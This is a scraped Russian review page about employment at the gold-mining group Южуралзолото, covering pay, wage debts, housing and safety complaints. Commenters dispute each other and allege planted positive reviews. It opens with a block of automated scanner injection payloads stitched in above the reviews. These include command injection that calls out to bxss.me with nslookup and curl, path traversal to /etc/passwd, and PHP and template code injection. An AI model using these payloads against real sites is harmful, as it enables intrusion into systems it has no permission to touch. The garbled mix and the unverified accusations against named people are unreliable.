Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Саша
16.10.2012
Чтобы плохого не говорили про предприятие, а все обязательства выполняются. По зарплате никакого обмана нет. А если ты не работаешь и только пьянствуешь и прогуливаешь, то потом пеняй на себя. Так во всех компаниях. Я 9 лет в «горняках» в Полюсе тоже работал. Могу сказать, что работая в ЮГК стал получать денег больше, но и работы стало больше.
Нуржан
16.10.2012
Работаю в компании уже год. До этого работал на предприятиях Казахстана. Предприятие стабильное, зарплату платят без задержек. Общежитие хорошее, обещают помочь с приобретением жилья. Да, соглашусь, что руководство требовательное, но порядок должен быть на производстве, тем более на горнодобывающем. Отработал по совести и заработная плата соответствующая. Почему тот, кто балду пинал, должен получать столько же, сколько и тот, кто вкалывает? Нуржан.
Ф. Садыбакасов
16.10.2012
ЮГК заботится не только о сотрудниках, но и о жителях Пласта. Очень понравился концерт Лолиты летом. Спасибо "Южуралзолото" за это мероприятие.
Vlad Pisanov
16.10.2012
"Южуралзолото Группа Компаний". Ещё 15 лет назад такого предприятия не было. А были руины советской золотодобычи в г. Пласт. Сегодня работают шахты, карьеры, тысячи людей кормят себя и свои семьи. Причём, если проходчики или, к примеру, экскаваторщики получают по 60-80 тыс. руб. - это о чём-то говорит.
Ты где такие зарплаты видел? У нас ребята на карьере получили по 3 тысячи рублей, а кто и по 800 рублей, и то они зарплату дали за декабрь - январьской ещё и в помине нету, не говоря уже и о годовых! Это по твоему достойная зарплата? "Были руины"??? Дарасунский рудник отдали им в полном расцвете, там кроме сгоревшего ствола Центральной шахты - всё было нормально. А теперь - ничего нет, всё растащили. А Ствол Центральной - так и стоит не восстановленным. Не хотел ничего писать, да вот не получается, весь монитор слюнями забрызгал. Такое ощущение, что положительные отзывы писал один человек и где все отрицательные отзывы??? НАМ ЗАТЫКАЮТ РОТ! Админы данного сайта- не удаляйте комменты!
Aleksandr
19.10.2012
Предприятие вводит новые производственные мощности. В связи с расширением производства применяется вахтовый метод работы. Многие ездят на вахтовую работу десятилетиями - это говорит о многом. Для работников созданы очень хорошие условия проживания, поддерживается порядок на рабочих местах, в общежитиях, своевременно выплачивается заработная плата. В компании работает много династий потомственных шахтеров.
Александр
19.10.2012
Предприятие расширяется, вводятся новые производственные мощности и везде работают люди. В связи с расширением производства применяется вахтовый метод работы. Многие ездят на вахтовую работу десятилетиями - это говорит о многом. Для работников созданы очень хорошие условия проживания, поддерживается порядок в общежитиях, своевременно выплачивается заработная плата. В компании работает много династий потомственных шахтеров. Компания чтит традиции и расширяет производство.
А туалеты вы видели???? Или вас природа обделила справлять нужду. Не врите, все не так. Полный отстой там. Правда, что столовая не плохая, это так.
Илья
25.10.2012
Хорошая компания. Постоянно идет закупка новой горной техники, интересно работать. С зарплатой всегда все вовремя. Если есть желание работать то все будет хорошо, горных специалистов мало и хороших людей ценят в любой компании. Просто с душой работайте и не подводите коллектив и все будет! А трудовой договор есть трудовой договор – в нем все прописано! Илья.
С.
26.10.2012
Работаю в ЮГК и доволен! Зарплату платят вовремя, оклад всегда обещанный получаем в срок, премии, как отработали. Я считаю это нормально! Много молодых хороших русских ребят работает, учатся, хотят проявить себя – зарабатывают! С домом всегда связь есть и телефон и интернет, я вот на другом предприятии работал, там мобильный не ловил вообще, а чтобы позвонить домой часа два в очереди стоять надо было. Столовая прекрасная, совсем не дорого!
Александр
26.10.2012
Текучесть персонала присутствует, как и в любой другой организации. Предприятие расширяется, вводятся новые производственные мощности и везде работают люди. Если условия работы и быта были бы плохими - люди не поехали бы работать. Многие граждане государств ближнего зарубежья ездят на вахтовую работу десятилетиями. Для работников приезжающих на вахту, создаются очень хорошие условия проживания, поддерживается порядок, своевременно выплачивается достойная заработная плата. В компании работает много династий потомственных шахтеров. Компания чтит традиции и расширяет производство.
Семен
28.10.2012
Долги по зарплате с ООО "Дарасунский рудник" взысканы в полном объеме. Они два года ждали свои деньги! Судебные приставы Забайкальского края в полном объёме взыскали с Общества с ограниченной ответственностью «Дарасунский рудник» задолженность по заработной плате. В общей сложности предприятие задолжало своим сотрудникам около 21 миллиона рублей. Всего в межрайонном отделе Управления Федеральной службы судебных приставов по Забайкалському краю находилось более 1700 исков о взыскании долгов с этого золотодобывающего предприятия. В конце ноября, на основании этих документов, а также исков прокурора, долги удалось взыскать. Работникам рудника были отправлены специальные уведомления, и в 2010 году уже 800 человек получили свои деньги. Сегодня судебные приставы разыскивают тех шахтеров - а это 50 человек, кто ещё не знает, что им «возвращена зарплата». Шахтерам ООО «Дарасунский рудник» — необходимо как можно скорее представить приставам номер своего лицевого счёта и реквизиты банка, Долги шахтерам составляют от 1 до 300 тысяч рублей.
Иван
30.10.2012
Знайте, что при расчете заработной платы, по закону лишить вас могут только премии, оклад вам не могут срезать при помощи КТУ и премии. Но в Южуралзолото это практикуется. Не бойтесь, обращайтесь в суд! Сотни работников ЮГК в суде выиграли.
Иванов Пётр Иванович
10.02.2013
Что КТУ они полностью аннулируют зарплату.
Артем
31.10.2012
Молодым специалистам очень легко и комфортно, спасибо! Чувствуется поддержка со стороны администрации, ведущих специалистов и опытных работников предприятия. Есть стимул и желание работать, учиться, добиваться больших успехов. Спасибо за это!
Бригадир Попов
01.11.2012
Где в наше время награждают простых рабочих? На каком предприятии? А у нас на ЮГК в прошлом году в честь пуска новой золотоизвлекательной фабрики получили наручные золотые часы. К. И. Струков каждому лично вручил. В магазине им цена от 70 до 100 тысяч рублей. И это - не считая обычных премий и, понятно, зарплаты. Зарплату за 15 лет работы Струкова ни на один день не задержали. Все, кто хочет работать, работают и получают, что заработали. А врать не надо. Бездельникам и ловкочам везде плохо.
Храню часы, горжусь собой и руководством, которое отметило мою работу. Зарплата также, всегда вовремя, никаких задержек не было. Поддержка такого предприятия - дело сложное и трудоемкое, руководители просто молодцы, успехов вам в дальнейшем развитии!
Тут управляющий директор югк сказал, что средняя зарплата по югк 40000 рублей в месяц. Это как считали? Сложили зарплату рабочего с зарплатой управляющего директора и поделили на 2? На зифе в Пласте и на фзцо аппаратчики получают 7000 рублей в месяц, это если премия 100%, если премии лишили, то получать нечего.
ДНГ: Как пела в своё время группа "Сектор газа": главное, "вовремя подлизывать попэц". А вот, действительно, достойным людям, которые болеют за производство и требуют от руководства инвестиций, что получили они? Кроме головной боли, ничего! Степану: вы льстите, г-н Бергер сложил не одного рабочего, а пяти, соответственно, поделил на 5. Хотя не, прославленный проходчик Кузьминых, действительно, имеет эту з/п и поболее! В СМИ озвучивалась сумма в 60000. Есть к чему стремиться!
Александр Гуров
01.11.2012
ЮГК является градообразующим предприятием г. Пласт. Большая часть трудоспособного населения города работает на нашем предприятии. Выпускники колледжа и ПТУ № 134 с удовольствием устраиваются на работу в компанию. Компания постоянно развивается, строятся обогатительные фабрики на карьерах "Березняки" и "Светлинский", проводится реконструкция действующих объектов. У предприятия большие планы по расширению производства на ближайшие годы. Для работников компании приобретаются квартиры, как на рынке вторичного жилья, так и в строящихся домах. В 2013 г. будет вестись строительство целого микрорайона многоквартирных домов для работников ЮГК. Работники ЮГК регулярно участвуют в культурно массовых и спортивных мероприятиях. Александр Гуров.
Здравствуйте! Подскажите пожалуйста номер отдела кадров, я экскаваторщик, хочу устроится к вам на работу. Спасибо.
Не вздумай устраиваться, пожалеешь и время потеряешь. Обман все это.
Егор
01.11.2012
Южуралзолото задерживает зарплату. Долги по зарплате с ООО "Дарасунский рудник" (принадлежит Южуралзолото) взысканы в полном объеме. Они два года ждали свои деньги! Судебные приставы Забайкальского края в полном объёме взыскали с Общества с ограниченной ответственностью «Дарасунский рудник» задолженность по заработной плате. В общей сложности предприятие задолжало своим сотрудникам около 21 миллиона рублей. Всего в межрайонном отделе Управления Федеральной службы судебных приставов по Забайкалському краю находилось более 1700 исков о взыскании долгов с этого золотодобывающего предприятия. В конце ноября, на основании этих документов, а также исков прокурора, долги удалось взыскать. Работникам рудника были отправлены специальные уведомления, и в 2010 году уже 800 человек получили свои деньги. Сегодня судебные приставы разыскивают тех шахтеров - а это 50 человек, кто ещё не знает, что им «возвращена зарплата». Шахтерам ООО «Дарасунский рудник» — необходимо как можно скорее представить приставам номер своего лицевого счёта и реквизиты банка, Долги шахтерам составляют от 1 до 300 тысяч рублей.
Иван Иванович
10.11.2012
Прокуратура Забайкалья добивается выплаты зарплаты работникам Дарасунского рудника. ООО "Дарасунский рудник" имеет задолженность по выплате заработной платы в размере 17540 тыс. рублей перед 638 работниками. Органами прокуратуры края систематически принимаются меры по защите прав работников градообразующего предприятия Тунгокоченского района ООО "Дарасунский рудник" на своевременную оплату труда. Как сообщает пресс-служба прокуратуры Забайкалья, руководителю общества объявлялось 2 предостережения о недопустимости нарушений закона при высвобождении работников, вносилось 4 представления об устранении нарушений закона. В интересах работников направлено в суд около 500 заявлений на сумму свыше 6 млн. рублей, исполнено на 2,2 млн. рублей. Кроме того заместителем прокурора Челябинской области по просьбе прокурора Забайкальского края председателю Совета директоров ОАО "Южуралзолото Группа Компаний" Струкову К. И. объявлено предостережение о недопустимости нарушений закона в связи с невыплатой заработной платы на учрежденном предприятии.
Иван Иванович
10.11.2012
Работал на Дарасунском руднике (принадлежит Юуралзолоту). Так вот, при увольнении задерживают расчет на 2-3 месяца. Если работник увольняется с югк, то его автоматически лишают премии, кту ставят 0.
Иван Иванович
10.11.2012
"Посчастливилось" поработать в ЮГК, пишу это для тех, кто хочет устроиться на работу в ЮГК. Набор работников в Южуралзолото хитро организован, первую зарплату вы получите через 2 месяца после трудоустройства. Получив деньги, а получите вы в несколько раз меньше, чем обещали, вы пишете заявление на увольнение. Нанимают следующего. Такой вот у них конвейер. Достойный инженерно технический работник за 15000 рублей работать не будет, а нормальный грамотный рабочий за 7000-10000 рублей. Из-за этого на предприятиях Южуралзолото бешеная текучка кадров. Чтобы получить золото, необходимы грамотные специалисты, необходимо снабжение запчастями оборудованием. Ни того, ни другого в Южуралзолото нет, и не было. Ну, а тогда какой план?
План - выжать всё возможное за меньшие затраты. Для этого спецы совсем не нужны. Есть такие как вы, Иван Иваныч. Вы ведь верили и работали честно, с энтузизмом. До вас был я, после вас будет Василий Пупкин и т. д. Чем не пизьнесь?
Василий
10.11.2012
В югк не только большая текучка кадров, не только мизерная зарплата. но там еще и производственный бардак. Не обезвреживают цианистые стоки до уровня пдк. ГНе ведется мониторинг за воздействием на окружающую среду. Журналов наблюдений за состоянием гидротехнических сооружений нет. Отсутствуют планы ликвидацией аварий на опасных производственных объектах. Отсутствуют ответственные за безопасную эксплуатацию гидротехнических сооружений (которые прошли соответствующее обучение), не все сварщики имеют удостоверения НАКС. Не на всех предприятиях югк есть инструкции по технике безопасности, технологические инструкции, кое-где они просрочены. На части предприятий югк отсутствует обучение вновь принятых сотрудников по профессиям. Не проводятся аттестации. Отсутствуют или не откалиброваны многие приборы, в частности сигнализаторы паров синильной кислоты.
Петр В.
12.11.2012
Я уже шесть лет тут работаю, пока все устраивает. Конечно есть места, где зарплата поболее, но там соцпакета нет, а тут даже обучение проводят.
Студент 134ого
12.11.2012
Молодым специалистам очень легко и комфортно, спасибо! Чувствуется поддержка со стороны администрации, ведущих специалистов и опытных работников предприятия. Есть стимул и желание работать, учиться, добиваться больших успехов.
Виктор
12.11.2012
Все, кто хотят работать, работают и получают, что заработали. А врать не надо. ЮГК заботится не только о сотрудниках, но и о жителях Пласта.
Да, это правда, мы сами получили в "Пласте" 3-х комнатную квартиру под выкуп, у нас двое детей, муж работает в ЮГК. Мы всем довольны.
Олег А.
15.11.2012
Выражаю всему руководству искреннюю благодарность. Восхищен вашим талантом, силой развивать и расширять производство. Стимулирование работников - на высоте, т. к. настоящие профессионалы действительно работают на благо компании, и это действительно оценивается и поощряется. Молодцы!
Славик
22.11.2012
Нерадивых работников (пьянство, прогулы, халатное отношение к вверенной технике) просто лишают части премиальных (после чего они пытаются поливать грязью всех и вся).
А в Южуралзолото, на рудниках перестали собирать металлолом, чтобы купить необходимые запчасти?: -)
Константин Иванович Струков - владелец ОАО Южуралзолото, депутат партии Единая Россия. Почему вы лишаете своих работников окладов при помощи КТУ? Ведь это незаконно!
О какой премии вы говорите! Заработную плату дают с задержкой в 2-3 месяца и снимают с неё от 10 до 30 процентов. Проработал в дарасунском руднике со дня прихода югк, ни разу о премии речи не велось.
Влад
22.11.2012
Как и на всех предприятиях, в ЮГК люди принимаются и увольняются. Предприятие расширяется, вводятся новые производственные мощности люди приезжают и работают. Отдельные рабочие ездят на вахтовую работу по 10-15 лет. Для работников создаются хорошие условия проживания, поддерживается порядок, своевременно выплачивается достойная заработная плата. Законодательство в компании безоговорочно выполняется.
Врешь ты, ЮГК проигрывало в суде, а значит - нарушало законы.
На моей памяти достойная зарплата выплачивалась избранным приезжим. Много чего поменялось с 2007 года? Чего ж тогда работники не держатся?
А где мои комментарии про туалеты. Уже нет их. Быстро вы подлизываете, лучше бы так туалеты убирали.
Там все схвачено, соблюдают законодательство незаконно.
Люди, вот вы пишете: "Сколько тебе заплатили за положительный комментарий?" А вам сколько платят за обливание грязью работников компании?
Людмила Анатольевна
04.05.2015
Тот, кто не хочет работать, только и может оправдываться негативом.
Миша
22.11.2012
Что бы плохого не говорили про предприятие, а все обязательства выполняются! По зарплате никакого обмана нет! А если ты не работаешь и только пьянствуешь и прогуливаешь, то потом пеняй на себя. Так во всех компаниях! Я 9 лет в «горняках», в Полюсе тоже работал. Могу сказать, что работая в ЮГК стал получать денег больше, но и работы стало больше.
Все ничего, только отзывы, почему-то, от Миш, Владов и Слав сыплются в одно время, с периодичностью 3 минуты. Кто-то в конторе, наконец, получил доступ в инет?
